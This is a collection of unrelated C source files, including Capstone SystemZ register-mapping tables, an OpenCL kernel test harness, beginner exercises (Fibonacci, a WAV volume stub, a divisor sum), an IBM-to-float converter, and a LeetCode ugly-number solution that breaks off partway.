{ SYSZ_REG_V18, "v18" },
{ SYSZ_REG_V19, "v19" },
{ SYSZ_REG_V20, "v20" },
{ SYSZ_REG_V21, "v21" },
{ SYSZ_REG_V22, "v22" },
{ SYSZ_REG_V23, "v23" },
{ SYSZ_REG_V24, "v24" },
{ SYSZ_REG_V25, "v25" },
{ SYSZ_REG_V26, "v26" },
{ SYSZ_REG_V27, "v27" },
{ SYSZ_REG_V28, "v28" },
{ SYSZ_REG_V29, "v29" },
{ SYSZ_REG_V30, "v30" },
{ SYSZ_REG_V31, "v31" },
{ SYSZ_REG_F16, "f16" },
{ SYSZ_REG_F17, "f17" },
{ SYSZ_REG_F18, "f18" },
{ SYSZ_REG_F19, "f19" },
{ SYSZ_REG_F20, "f20" },
{ SYSZ_REG_F21, "f21" },
{ SYSZ_REG_F22, "f22" },
{ SYSZ_REG_F23, "f23" },
{ SYSZ_REG_F24, "f24" },
{ SYSZ_REG_F25, "f25" },
{ SYSZ_REG_F26, "f26" },
{ SYSZ_REG_F27, "f27" },
{ SYSZ_REG_F28, "f28" },
{ SYSZ_REG_F29, "f29" },
{ SYSZ_REG_F30, "f30" },
{ SYSZ_REG_F31, "f31" },
{ SYSZ_REG_F0Q, "f0q" },
{ SYSZ_REG_F4Q, "f4q" },
};
#endif
const char *SystemZ_reg_name(csh handle, unsigned int reg)
{
#ifndef CAPSTONE_DIET
if (reg >= ARR_SIZE(reg_name_maps))
return NULL;
return reg_name_maps[reg].name;
#else
return NULL;
#endif
}
static const insn_map insns[] = {
// dummy item
{
0, 0,
#ifndef CAPSTONE_DIET
{ 0 }, { 0 }, { 0 }, 0, 0
#endif
},
#include "SystemZMappingInsn.inc"
};
// given internal insn id, return public instruction info
void SystemZ_get_insn_id(cs_struct *h, cs_insn *insn, unsigned int id)
{
unsigned short i;
i = insn_find(insns, ARR_SIZE(insns), id, &h->insn_cache);
if (i != 0) {
insn->id = insns[i].mapid;
if (h->detail) {
#ifndef CAPSTONE_DIET
memcpy(insn->detail->regs_read, insns[i].regs_use, sizeof(insns[i].regs_use));
insn->detail->regs_read_count = (uint8_t)count_positive(insns[i].regs_use);
memcpy(insn->detail->regs_write, insns[i].regs_mod, sizeof(insns[i].regs_mod));
insn->detail->regs_write_count = (uint8_t)count_positive(insns[i].regs_mod);
memcpy(insn->detail->groups, insns[i].groups, sizeof(insns[i].groups));
insn->detail->groups_count = (uint8_t)count_positive8(insns[i].groups);
if (insns[i].branch || insns[i].indirect_branch) {
// this insn also belongs to JUMP group. add JUMP group
insn->detail->groups[insn->detail->groups_count] = SYSZ_GRP_JUMP;
insn->detail->groups_count++;
}
#endif
}
}
}
#ifndef CAPSTONE_DIET
static const name_map insn_name_maps[] = {
{ SYSZ_INS_INVALID, NULL },
#include "SystemZGenInsnNameMaps.inc"
};
// special alias insn
static const name_map alias_insn_names[] = {
{ 0, NULL }
};
#endif
const char *SystemZ_insn_name(csh handle, unsigned int id)
{
#ifndef CAPSTONE_DIET
unsigned int i;
if (id >= SYSZ_INS_ENDING)
return NULL;
// handle special alias first
for (i = 0; i < ARR_SIZE(alias_insn_names); i++) {
if (alias_insn_names[i].id == id)
return alias_insn_names[i].name;
}
return insn_name_maps[id].name;
#else
return NULL;
#endif
}
#ifndef CAPSTONE_DIET
static const name_map group_name_maps[] = {
// generic groups
{ SYSZ_GRP_INVALID, NULL },
{ SYSZ_GRP_JUMP, "jump" },
// architecture-specific groups
{ SYSZ_GRP_DFPPACKEDCONVERSION, "dfppackedconversion" },
{ SYSZ_GRP_DFPZONEDCONVERSION, "dfpzonedconversion" },
{ SYSZ_GRP_DISTINCTOPS, "distinctops" },
{ SYSZ_GRP_ENHANCEDDAT2, "enhanceddat2" },
{ SYSZ_GRP_EXECUTIONHINT, "executionhint" },
{ SYSZ_GRP_FPEXTENSION, "fpextension" },
{ SYSZ_GRP_GUARDEDSTORAGE, "guardedstorage" },
{ SYSZ_GRP_HIGHWORD, "highword" },
{ SYSZ_GRP_INSERTREFERENCEBITSMULTIPLE, "insertreferencebitsmultiple" },
{ SYSZ_GRP_INTERLOCKEDACCESS1, "interlockedaccess1" },
{ SYSZ_GRP_LOADANDTRAP, "loadandtrap" },
{ SYSZ_GRP_LOADANDZERORIGHTMOSTBYTE, "loadandzerorightmostbyte" },
{ SYSZ_GRP_LOADSTOREONCOND, "loadstoreoncond" },
{ SYSZ_GRP_LOADSTOREONCOND2, "loadstoreoncond2" },
{ SYSZ_GRP_MESSAGESECURITYASSIST3, "messagesecurityassist3" },
{ SYSZ_GRP_MESSAGESECURITYASSIST4, "messagesecurityassist4" },
{ SYSZ_GRP_MESSAGESECURITYASSIST5, "messagesecurityassist5" },
{ SYSZ_GRP_MESSAGESECURITYASSIST7, "messagesecurityassist7" },
{ SYSZ_GRP_MESSAGESECURITYASSIST8, "messagesecurityassist8" },
{ SYSZ_GRP_MISCELLANEOUSEXTENSIONS, "miscellaneousextensions" },
{ SYSZ_GRP_MISCELLANEOUSEXTENSIONS2, "miscellaneousextensions2" },
{ SYSZ_GRP_POPULATIONCOUNT, "populationcount" },
{ SYSZ_GRP_PROCESSORASSIST, "processorassist" },
{ SYSZ_GRP_RESETREFERENCEBITSMULTIPLE, "resetreferencebitsmultiple" },
{ SYSZ_GRP_TRANSACTIONALEXECUTION, "transactionalexecution" },
{ SYSZ_GRP_VECTOR, "vector" },
{ SYSZ_GRP_VECTORENHANCEMENTS1, "vectorenhancements1" },
{ SYSZ_GRP_VECTORPACKEDDECIMAL, "vectorpackeddecimal" },
};
#endif
const char *SystemZ_group_name(csh handle, unsigned int id)
{
#ifndef CAPSTONE_DIET
return id2name(group_name_maps, ARR_SIZE(group_name_maps), id);
#else
return NULL;
#endif
}
// map internal raw register to 'public' register
sysz_reg SystemZ_map_register(unsigned int r)
{
static const unsigned int map[] = { 0,
/* SystemZ_CC = 1 */ SYSZ_REG_CC,
/* SystemZ_A0 = 2 */ SYSZ_REG_A0,
/* SystemZ_A1 = 3 */ SYSZ_REG_A1,
/* SystemZ_A2 = 4 */ SYSZ_REG_A2,
/* SystemZ_A3 = 5 */ SYSZ_REG_A3,
/* SystemZ_A4 = 6 */ SYSZ_REG_A4,
/* SystemZ_A5 = 7 */ SYSZ_REG_A5,
/* SystemZ_A6 = 8 */ SYSZ_REG_A6,
/* SystemZ_A7 = 9 */ SYSZ_REG_A7,
/* SystemZ_A8 = 10 */ SYSZ_REG_A8,
/* SystemZ_A9 = 11 */ SYSZ_REG_A9,
/* SystemZ_A10 = 12 */ SYSZ_REG_A10,
/* SystemZ_A11 = 13 */ SYSZ_REG_A11,
/* SystemZ_A12 = 14 */ SYSZ_REG_A12,
/* SystemZ_A13 = 15 */ SYSZ_REG_A13,
/* SystemZ_A14 = 16 */ SYSZ_REG_A14,
/* SystemZ_A15 = 17 */ SYSZ_REG_A15,
/* SystemZ_C0 = 18 */ SYSZ_REG_C0,
/* SystemZ_C1 = 19 */ SYSZ_REG_C1,
/* SystemZ_C2 = 20 */ SYSZ_REG_C2,
/* SystemZ_C3 = 21 */ SYSZ_REG_C3,
/* SystemZ_C4 = 22 */ SYSZ_REG_C4,
/* SystemZ_C5 = 23 */ SYSZ_REG_C5,
/* SystemZ_C6 = 24 */ SYSZ_REG_C6,
/* SystemZ_C7 = 25 */ SYSZ_REG_C7,
/* SystemZ_C8 = 26 */ SYSZ_REG_C8,
/* SystemZ_C9 = 27 */ SYSZ_REG_C9,
/* SystemZ_C10 = 28 */ SYSZ_REG_C10,
/* SystemZ_C11 = 29 */ SYSZ_REG_C11,
/* SystemZ_C12 = 30 */ SYSZ_REG_C12,
/* SystemZ_C13 = 31 */ SYSZ_REG_C13,
/* SystemZ_C14 = 32 */ SYSZ_REG_C14,
/* SystemZ_C15 = 33 */ SYSZ_REG_C15,
/* SystemZ_V0 = 34 */ SYSZ_REG_V0,
/* SystemZ_V1 = 35 */ SYSZ_REG_V1,
/* SystemZ_V2 = 36 */ SYSZ_REG_V2,
/* SystemZ_V3 = 37 */ SYSZ_REG_V3,
/* SystemZ_V4 = 38 */ SYSZ_REG_V4,
/* SystemZ_V5 = 39 */ SYSZ_REG_V5,
/* SystemZ_V6 = 40 */ SYSZ_REG_V6,
/* SystemZ_V7 = 41 */ SYSZ_REG_V7,
/* SystemZ_V8 = 42 */ SYSZ_REG_V8,
/* SystemZ_V9 = 43 */ SYSZ_REG_V9,
/* SystemZ_V10 = 44 */ SYSZ_REG_V10,
/* SystemZ_V11 = 45 */ SYSZ_REG_V11,
/* SystemZ_V12 = 46 */ SYSZ_REG_V12,
/* SystemZ_V13 = 47 */ SYSZ_REG_V13,
/* SystemZ_V14 = 48 */ SYSZ_REG_V14,
/* SystemZ_V15 = 49 */ SYSZ_REG_V15,
/* SystemZ_V16 = 50 */ SYSZ_REG_V16,
/* SystemZ_V17 = 51 */ SYSZ_REG_V17,
/* SystemZ_V18 = 52 */ SYSZ_REG_V18,
/* SystemZ_V19 = 53 */ SYSZ_REG_V19,
/* SystemZ_V20 = 54 */ SYSZ_REG_V20,
/* SystemZ_V21 = 55 */ SYSZ_REG_V21,
/* SystemZ_V22 = 56 */ SYSZ_REG_V22,
/* SystemZ_V23 = 57 */ SYSZ_REG_V23,
/* SystemZ_V24 = 58 */ SYSZ_REG_V24,
/* SystemZ_V25 = 59 */ SYSZ_REG_V25,
/* SystemZ_V26 = 60 */ SYSZ_REG_V26,
/* SystemZ_V27 = 61 */ SYSZ_REG_V27,
/* SystemZ_V28 = 62 */ SYSZ_REG_V28,
/* SystemZ_V29 = 63 */ SYSZ_REG_V29,
/* SystemZ_V30 = 64 */ SYSZ_REG_V30,
/* SystemZ_V31 = 65 */ SYSZ_REG_V31,
/* SystemZ_F0D = 66 */ SYSZ_REG_F0,
/* SystemZ_F1D = 67 */ SYSZ_REG_F1,
/* SystemZ_F2D = 68 */ SYSZ_REG_F2,
/* SystemZ_F3D = 69 */ SYSZ_REG_F3,
/* SystemZ_F4D = 70 */ SYSZ_REG_F4,
/* SystemZ_F5D = 71 */ SYSZ_REG_F5,
/* SystemZ_F6D = 72 */ SYSZ_REG_F6,
/* SystemZ_F7D = 73 */ SYSZ_REG_F7,
/* SystemZ_F8D = 74 */ SYSZ_REG_F8,
/* SystemZ_F9D = 75 */ SYSZ_REG_F9,
/* SystemZ_F10D = 76 */ SYSZ_REG_F10,
/* SystemZ_F11D = 77 */ SYSZ_REG_F11,
/* SystemZ_F12D = 78 */ SYSZ_REG_F12,
/* SystemZ_F13D = 79 */ SYSZ_REG_F13,
/* SystemZ_F14D = 80 */ SYSZ_REG_F14,
/* SystemZ_F15D = 81 */ SYSZ_REG_F15,
/* SystemZ_F16D = 82 */ SYSZ_REG_F16,
/* SystemZ_F17D = 83 */ SYSZ_REG_F17,
/* SystemZ_F18D = 84 */ SYSZ_REG_F18,
/* SystemZ_F19D = 85 */ SYSZ_REG_F19,
/* SystemZ_F20D = 86 */ SYSZ_REG_F20,
/* SystemZ_F21D = 87 */ SYSZ_REG_F21,
/* SystemZ_F22D = 88 */ SYSZ_REG_F22,
/* SystemZ_F23D = 89 */ SYSZ_REG_F23,
/* SystemZ_F24D = 90 */ SYSZ_REG_F24,
/* SystemZ_F25D = 91 */ SYSZ_REG_F25,
/* SystemZ_F26D = 92 */ SYSZ_REG_F26,
/* SystemZ_F27D = 93 */ SYSZ_REG_F27,
/* SystemZ_F28D = 94 */ SYSZ_REG_F28,
/* SystemZ_F29D = 95 */ SYSZ_REG_F29,
/* SystemZ_F30D = 96 */ SYSZ_REG_F30,
/* SystemZ_F31D = 97 */ SYSZ_REG_F31,
/* SystemZ_F0Q = 98 */ SYSZ_REG_F0,
/* SystemZ_F1Q = 99 */ SYSZ_REG_F1,
/* SystemZ_F4Q = 100 */ SYSZ_REG_F4,
/* SystemZ_F5Q = 101 */ SYSZ_REG_F5,
/* SystemZ_F8Q = 102 */ SYSZ_REG_F8,
/* SystemZ_F9Q = 103 */ SYSZ_REG_F9,
/* SystemZ_F12Q = 104 */ SYSZ_REG_F12,
/* SystemZ_F13Q = 105 */ SYSZ_REG_F13,
/* SystemZ_F0S = 106 */ SYSZ_REG_F0,
/* SystemZ_F1S = 107 */ SYSZ_REG_F1,
/* SystemZ_F2S = 108 */ SYSZ_REG_F2,
/* SystemZ_F3S = 109 */ SYSZ_REG_F3,
/* SystemZ_F4S = 110 */ SYSZ_REG_F4,
/* SystemZ_F5S = 111 */ SYSZ_REG_F5,
/* SystemZ_F6S = 112 */ SYSZ_REG_F6,
/* SystemZ_F7S = 113 */ SYSZ_REG_F7,
/* SystemZ_F8S = 114 */ SYSZ_REG_F8,
/* SystemZ_F9S = 115 */ SYSZ_REG_F9,
/* SystemZ_F10S = 116 */ SYSZ_REG_F10,
/* SystemZ_F11S = 117 */ SYSZ_REG_F11,
/* SystemZ_F12S = 118 */ SYSZ_REG_F12,
/* SystemZ_F13S = 119 */ SYSZ_REG_F13,
/* SystemZ_F14S = 120 */ SYSZ_REG_F14,
/* SystemZ_F15S = 121 */ SYSZ_REG_F15,
/* SystemZ_F16S = 122 */ SYSZ_REG_F16,
/* SystemZ_F17S = 123 */ SYSZ_REG_F17,
/* SystemZ_F18S = 124 */ SYSZ_REG_F18,
/* SystemZ_F19S = 125 */ SYSZ_REG_F19,
/* SystemZ_F20S = 126 */ SYSZ_REG_F20,
/* SystemZ_F21S = 127 */ SYSZ_REG_F21,
/* SystemZ_F22S = 128 */ SYSZ_REG_F22,
/* SystemZ_F23S = 129 */ SYSZ_REG_F23,
/* SystemZ_F24S = 130 */ SYSZ_REG_F24,
/* SystemZ_F25S = 131 */ SYSZ_REG_F25,
/* SystemZ_F26S = 132 */ SYSZ_REG_F26,
/* SystemZ_F27S = 133 */ SYSZ_REG_F27,
/* SystemZ_F28S = 134 */ SYSZ_REG_F28,
/* SystemZ_F29S = 135 */ SYSZ_REG_F29,
/* SystemZ_F30S = 136 */ SYSZ_REG_F30,
/* SystemZ_F31S = 137 */ SYSZ_REG_F31,
/* SystemZ_R0D = 138 */ SYSZ_REG_0,
/* SystemZ_R1D = 139 */ SYSZ_REG_1,
/* SystemZ_R2D = 140 */ SYSZ_REG_2,
/* SystemZ_R3D = 141 */ SYSZ_REG_3,
/* SystemZ_R4D = 142 */ SYSZ_REG_4,
/* SystemZ_R5D = 143 */ SYSZ_REG_5,
/* SystemZ_R6D = 144 */ SYSZ_REG_6,
/* SystemZ_R7D = 145 */ SYSZ_REG_7,
/* SystemZ_R8D = 146 */ SYSZ_REG_8,
/* SystemZ_R9D = 147 */ SYSZ_REG_9,
/* SystemZ_R10D = 148 */ SYSZ_REG_10,
/* SystemZ_R11D = 149 */ SYSZ_REG_11,
/* SystemZ_R12D = 150 */ SYSZ_REG_12,
/* SystemZ_R13D = 151 */ SYSZ_REG_13,
/* SystemZ_R14D = 152 */ SYSZ_REG_14,
/* SystemZ_R15D = 153 */ SYSZ_REG_15,
/* SystemZ_R0H = 154 */ SYSZ_REG_0,
/* SystemZ_R1H = 155 */ SYSZ_REG_1,
/* SystemZ_R2H = 156 */ SYSZ_REG_2,
/* SystemZ_R3H = 157 */ SYSZ_REG_3,
/* SystemZ_R4H = 158 */ SYSZ_REG_4,
/* SystemZ_R5H = 159 */ SYSZ_REG_5,
/* SystemZ_R6H = 160 */ SYSZ_REG_6,
/* SystemZ_R7H = 161 */ SYSZ_REG_7,
/* SystemZ_R8H = 162 */ SYSZ_REG_8,
/* SystemZ_R9H = 163 */ SYSZ_REG_9,
/* SystemZ_R10H = 164 */ SYSZ_REG_10,
/* SystemZ_R11H = 165 */ SYSZ_REG_11,
/* SystemZ_R12H = 166 */ SYSZ_REG_12,
/* SystemZ_R13H = 167 */ SYSZ_REG_13,
/* SystemZ_R14H = 168 */ SYSZ_REG_14,
/* SystemZ_R15H = 169 */ SYSZ_REG_15,
/* SystemZ_R0L = 170 */ SYSZ_REG_0,
/* SystemZ_R1L = 171 */ SYSZ_REG_1,
/* SystemZ_R2L = 172 */ SYSZ_REG_2,
/* SystemZ_R3L = 173 */ SYSZ_REG_3,
/* SystemZ_R4L = 174 */ SYSZ_REG_4,
/* SystemZ_R5L = 175 */ SYSZ_REG_5,
/* SystemZ_R6L = 176 */ SYSZ_REG_6,
/* SystemZ_R7L = 177 */ SYSZ_REG_7,
/* SystemZ_R8L = 178 */ SYSZ_REG_8,
/* SystemZ_R9L = 179 */ SYSZ_REG_9,
/* SystemZ_R10L = 180 */ SYSZ_REG_10,
/* SystemZ_R11L = 181 */ SYSZ_REG_11,
/* SystemZ_R12L = 182 */ SYSZ_REG_12,
/* SystemZ_R13L = 183 */ SYSZ_REG_13,
/* SystemZ_R14L = 184 */ SYSZ_REG_14,
/* SystemZ_R15L = 185 */ SYSZ_REG_15,
/* SystemZ_R0Q = 186 */ SYSZ_REG_0,
/* SystemZ_R2Q = 187 */ SYSZ_REG_2,
/* SystemZ_R4Q = 188 */ SYSZ_REG_4,
/* SystemZ_R6Q = 189 */ SYSZ_REG_6,
/* SystemZ_R8Q = 190 */ SYSZ_REG_8,
/* SystemZ_R10Q = 191 */ SYSZ_REG_10,
/* SystemZ_R12Q = 192 */ SYSZ_REG_12,
/* SystemZ_R14Q = 193 */ SYSZ_REG_14,
};
if (r < ARR_SIZE(map))
return map[r];
// cannot find this register
return 0;
}
#endif
|
the_stack_data/95983.c | #include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <CL/cl.h>
unsigned char *read_buffer(char *file_name, size_t *size_ptr)
{
FILE *f;
unsigned char *buf;
size_t size;
/* Open file */
f = fopen(file_name, "rb");
if (!f)
return NULL;
/* Obtain file size */
fseek(f, 0, SEEK_END);
size = ftell(f);
fseek(f, 0, SEEK_SET);
/* Allocate and read buffer */
buf = malloc(size + 1);
fread(buf, 1, size, f);
buf[size] = '\0';
/* Return size of buffer */
if (size_ptr)
*size_ptr = size;
/* Return buffer */
return buf;
}
void write_buffer(char *file_name, const char *buffer, size_t buffer_size)
{
FILE *f;
/* Open file */
f = fopen(file_name, "w+");
/* Write buffer */
if(buffer)
fwrite(buffer, 1, buffer_size, f);
/* Close file */
fclose(f);
}
int main(int argc, char const *argv[])
{
/* Get platform */
cl_platform_id platform;
cl_uint num_platforms;
cl_int ret = clGetPlatformIDs(1, &platform, &num_platforms);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clGetPlatformIDs' failed\n");
exit(1);
}
printf("Number of platforms: %d\n", num_platforms);
printf("platform=%p\n", platform);
/* Get platform name */
char platform_name[100];
ret = clGetPlatformInfo(platform, CL_PLATFORM_NAME, sizeof(platform_name), platform_name, NULL);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clGetPlatformInfo' failed\n");
exit(1);
}
printf("platform.name='%s'\n\n", platform_name);
/* Get device */
cl_device_id device;
cl_uint num_devices;
ret = clGetDeviceIDs(platform, CL_DEVICE_TYPE_GPU, 1, &device, &num_devices);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clGetDeviceIDs' failed\n");
exit(1);
}
printf("Number of devices: %d\n", num_devices);
printf("device=%p\n", device);
/* Get device name */
char device_name[100];
ret = clGetDeviceInfo(device, CL_DEVICE_NAME, sizeof(device_name),
device_name, NULL);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clGetDeviceInfo' failed\n");
exit(1);
}
printf("device.name='%s'\n", device_name);
printf("\n");
/* Create a Context Object */
cl_context context;
context = clCreateContext(NULL, 1, &device, NULL, NULL, &ret);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clCreateContext' failed\n");
exit(1);
}
printf("context=%p\n", context);
/* Create a Command Queue Object*/
cl_command_queue command_queue;
command_queue = clCreateCommandQueue(context, device, 0, &ret);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clCreateCommandQueue' failed\n");
exit(1);
}
printf("command_queue=%p\n", command_queue);
printf("\n");
/* Program source */
unsigned char *source_code;
size_t source_length;
/* Read program from 'mad_sat_shortshortshort.cl' */
source_code = read_buffer("mad_sat_shortshortshort.cl", &source_length);
/* Create a program */
cl_program program;
program = clCreateProgramWithSource(context, 1, (const char **)&source_code, &source_length, &ret);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clCreateProgramWithSource' failed\n");
exit(1);
}
printf("program=%p\n", program);
/* Build program */
ret = clBuildProgram(program, 1, &device, NULL, NULL, NULL);
if (ret != CL_SUCCESS )
{
size_t size;
char *log;
/* Get log size */
clGetProgramBuildInfo(program, device, CL_PROGRAM_BUILD_LOG,0, NULL, &size);
/* Allocate log and print */
log = malloc(size);
clGetProgramBuildInfo(program, device, CL_PROGRAM_BUILD_LOG,size, log, NULL);
printf("error: call to 'clBuildProgram' failed:\n%s\n", log);
/* Free log and exit */
free(log);
exit(1);
}
printf("program built\n");
printf("\n");
/* Create a Kernel Object */
cl_kernel kernel;
kernel = clCreateKernel(program, "mad_sat_shortshortshort", &ret);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clCreateKernel' failed\n");
exit(1);
}
/* Create and allocate host buffers */
size_t num_elem = 10;
/* Create and init host side src buffer 0 */
cl_short *src_0_host_buffer;
src_0_host_buffer = malloc(num_elem * sizeof(cl_short));
for (int i = 0; i < num_elem; i++)
src_0_host_buffer[i] = (cl_short)(2);
/* Create and init device side src buffer 0 */
cl_mem src_0_device_buffer;
src_0_device_buffer = clCreateBuffer(context, CL_MEM_READ_ONLY, num_elem * sizeof(cl_short), NULL, &ret);
if (ret != CL_SUCCESS)
{
printf("error: could not create source buffer\n");
exit(1);
}
ret = clEnqueueWriteBuffer(command_queue, src_0_device_buffer, CL_TRUE, 0, num_elem * sizeof(cl_short), src_0_host_buffer, 0, NULL, NULL);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clEnqueueWriteBuffer' failed\n");
exit(1);
}
/* Create and init host side src buffer 1 */
cl_short *src_1_host_buffer;
src_1_host_buffer = malloc(num_elem * sizeof(cl_short));
for (int i = 0; i < num_elem; i++)
src_1_host_buffer[i] = (cl_short)(2);
/* Create and init device side src buffer 1 */
cl_mem src_1_device_buffer;
src_1_device_buffer = clCreateBuffer(context, CL_MEM_READ_ONLY, num_elem * sizeof(cl_short), NULL, &ret);
if (ret != CL_SUCCESS)
{
printf("error: could not create source buffer\n");
exit(1);
}
ret = clEnqueueWriteBuffer(command_queue, src_1_device_buffer, CL_TRUE, 0, num_elem * sizeof(cl_short), src_1_host_buffer, 0, NULL, NULL);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clEnqueueWriteBuffer' failed\n");
exit(1);
}
/* Create and init host side src buffer 2 */
cl_short *src_2_host_buffer;
src_2_host_buffer = malloc(num_elem * sizeof(cl_short));
for (int i = 0; i < num_elem; i++)
src_2_host_buffer[i] = (cl_short)(2);
/* Create and init device side src buffer 2 */
cl_mem src_2_device_buffer;
src_2_device_buffer = clCreateBuffer(context, CL_MEM_READ_ONLY, num_elem * sizeof(cl_short), NULL, &ret);
if (ret != CL_SUCCESS)
{
printf("error: could not create source buffer\n");
exit(1);
}
ret = clEnqueueWriteBuffer(command_queue, src_2_device_buffer, CL_TRUE, 0, num_elem * sizeof(cl_short), src_2_host_buffer, 0, NULL, NULL);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clEnqueueWriteBuffer' failed\n");
exit(1);
}
/* Create host dst buffer */
cl_short *dst_host_buffer;
dst_host_buffer = malloc(num_elem * sizeof(cl_short));
memset((void *)dst_host_buffer, 1, num_elem * sizeof(cl_short));
/* Create device dst buffer */
cl_mem dst_device_buffer;
dst_device_buffer = clCreateBuffer(context, CL_MEM_WRITE_ONLY, num_elem *sizeof(cl_short), NULL, &ret);
if (ret != CL_SUCCESS)
{
printf("error: could not create dst buffer\n");
exit(1);
}
/* Set kernel arguments */
ret = CL_SUCCESS;
ret |= clSetKernelArg(kernel, 0, sizeof(cl_mem), &src_0_device_buffer);
ret |= clSetKernelArg(kernel, 1, sizeof(cl_mem), &src_1_device_buffer);
ret |= clSetKernelArg(kernel, 2, sizeof(cl_mem), &src_2_device_buffer);
ret |= clSetKernelArg(kernel, 3, sizeof(cl_mem), &dst_device_buffer);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clSetKernelArg' failed\n");
exit(1);
}
/* Launch the kernel */
size_t global_work_size = num_elem;
size_t local_work_size = num_elem;
ret = clEnqueueNDRangeKernel(command_queue, kernel, 1, NULL, &global_work_size, &local_work_size, 0, NULL, NULL);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clEnqueueNDRangeKernel' failed\n");
exit(1);
}
/* Wait for it to finish */
clFinish(command_queue);
/* Read results from GPU */
ret = clEnqueueReadBuffer(command_queue, dst_device_buffer, CL_TRUE,0, num_elem * sizeof(cl_short), dst_host_buffer, 0, NULL, NULL);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clEnqueueReadBuffer' failed\n");
exit(1);
}
/* Dump dst buffer to file */
char dump_file[100];
sprintf((char *)&dump_file, "%s.result", argv[0]);
write_buffer(dump_file, (const char *)dst_host_buffer, num_elem * sizeof(cl_short));
printf("Result dumped to %s\n", dump_file);
/* Free host dst buffer */
free(dst_host_buffer);
/* Free device dst buffer */
ret = clReleaseMemObject(dst_device_buffer);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clReleaseMemObject' failed\n");
exit(1);
}
/* Free host side src buffer 0 */
free(src_0_host_buffer);
/* Free device side src buffer 0 */
ret = clReleaseMemObject(src_0_device_buffer);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clReleaseMemObject' failed\n");
exit(1);
}
/* Free host side src buffer 1 */
free(src_1_host_buffer);
/* Free device side src buffer 1 */
ret = clReleaseMemObject(src_1_device_buffer);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clReleaseMemObject' failed\n");
exit(1);
}
/* Free host side src buffer 2 */
free(src_2_host_buffer);
/* Free device side src buffer 2 */
ret = clReleaseMemObject(src_2_device_buffer);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clReleaseMemObject' failed\n");
exit(1);
}
/* Release kernel */
ret = clReleaseKernel(kernel);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clReleaseKernel' failed\n");
exit(1);
}
/* Release program */
ret = clReleaseProgram(program);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clReleaseProgram' failed\n");
exit(1);
}
/* Release command queue */
ret = clReleaseCommandQueue(command_queue);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clReleaseCommandQueue' failed\n");
exit(1);
}
/* Release context */
ret = clReleaseContext(context);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clReleaseContext' failed\n");
exit(1);
}
return 0;
} |
the_stack_data/132470.c | #include <string.h>
#include <errno.h>
typedef unsigned int uint;
int
errstr(char *buf, uint buflen) {
strerror_r(errno, buf, buflen);
}
|
the_stack_data/132952349.c | // Modifies the volume of an audio file
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
// Number of bytes in .wav header
const int HEADER_SIZE = 44;
int main(int argc, char *argv[])
{
// Check command-line arguments
if (argc != 4)
{
printf("Usage: ./volume input.wav output.wav factor\n");
return 1;
}
// Open files and determine scaling factor
FILE *input = fopen(argv[1], "r");
if (input == NULL)
{
printf("Could not open file.\n");
return 1;
}
FILE *output = fopen(argv[2], "w");
if (output == NULL)
{
printf("Could not open file.\n");
return 1;
}
float factor = atof(argv[3]);
// TODO: Copy header from input file to output file
// TODO: Read samples from input file and write updated data to output file
// Close files
fclose(input);
fclose(output);
}
|
the_stack_data/150140763.c | #include <stdio.h>
#include <stdlib.h>
#include <locale.h>
#include <time.h>
void main() {
setlocale(LC_ALL, "");
srand(((unsigned)time == NULL));
int aleatorio = rand() % 3;
printf("%d", aleatorio);
} |
the_stack_data/59513028.c | int fibonacci_series(int num)
{
if ( num == 0 )
return 0;
else if ( num == 1 )
return 1;
else
return ( fibonacci_series(num-1) + fibonacci_series(num-2) );
}
int main()
{
int count;
int c;
int i;
c = 0;
printf("Enter number of terms:");
scanf("%d",&count);
printf("\nFibonacci series:\n");
for (i = 1; i <= count ; i=i+1 )
{
printf("%d\n", fibonacci_series(c));
c = c+1;
}
return 0;
} |
the_stack_data/156393801.c | #include <stdio.h>
int main()
{
int i, j, k, n, m, u, a, b, x, y, max, sum;
while (scanf("%d", &n) != EOF)
{
for (m = 1; m <= n; m++)
{
max = -1;
scanf("%d %d", &a, &b);
for (i = a; i <= b; i++)
{
sum = 0;
for (j = 1; j <= i; j++)
{
if (i % j == 0)
sum += j;
}
sum -= 2 * i;
if (max < sum && sum > 0)
max = sum;
}
if (max != -1)
printf("%d\n", max);
else
printf("-1\n");
}
}
return 0;
} |
the_stack_data/605571.c | #include <stdio.h>
#include <stdlib.h>
/* ibm2flt wesley ebisuzaki
*
* v1.1 .. faster
* v1.1 .. if mant == 0 -> quick return
*
*/
double ibm2flt(unsigned char *ibm) {
int positive, power;
unsigned int abspower;
long int mant;
double value, exp;
mant = (ibm[1] << 16) + (ibm[2] << 8) + ibm[3];
if (mant == 0) return 0.0;
positive = (ibm[0] & 0x80) == 0;
power = (int) (ibm[0] & 0x7f) - 64;
abspower = power > 0 ? power : -power;
/* calc exp */
exp = 16.0;
value = 1.0;
while (abspower) {
if (abspower & 1) {
value *= exp;
}
exp = exp * exp;
abspower >>= 1;
}
if (power < 0) value = 1.0 / value;
value = value * mant / 16777216.0;
if (positive == 0) value = -value;
return value;
}
|
the_stack_data/1152565.c | // source: https://leetcode.com/problems/ugly-number-ii/
/**
Write a program to find the n-th ugly number.
Ugly numbers are positive numbers whose prime factors only include 2, 3, 5.
Input: n = 10
Output: 12
Explanation: 1, 2, 3, 4, 5, 6, 8, 9, 10, 12 is the sequence of the first 10 ugly numbers.
**/
#include<stdio.h>
#include<stdlib.h>
int nthUglyNumber(int n) {
int array[n];
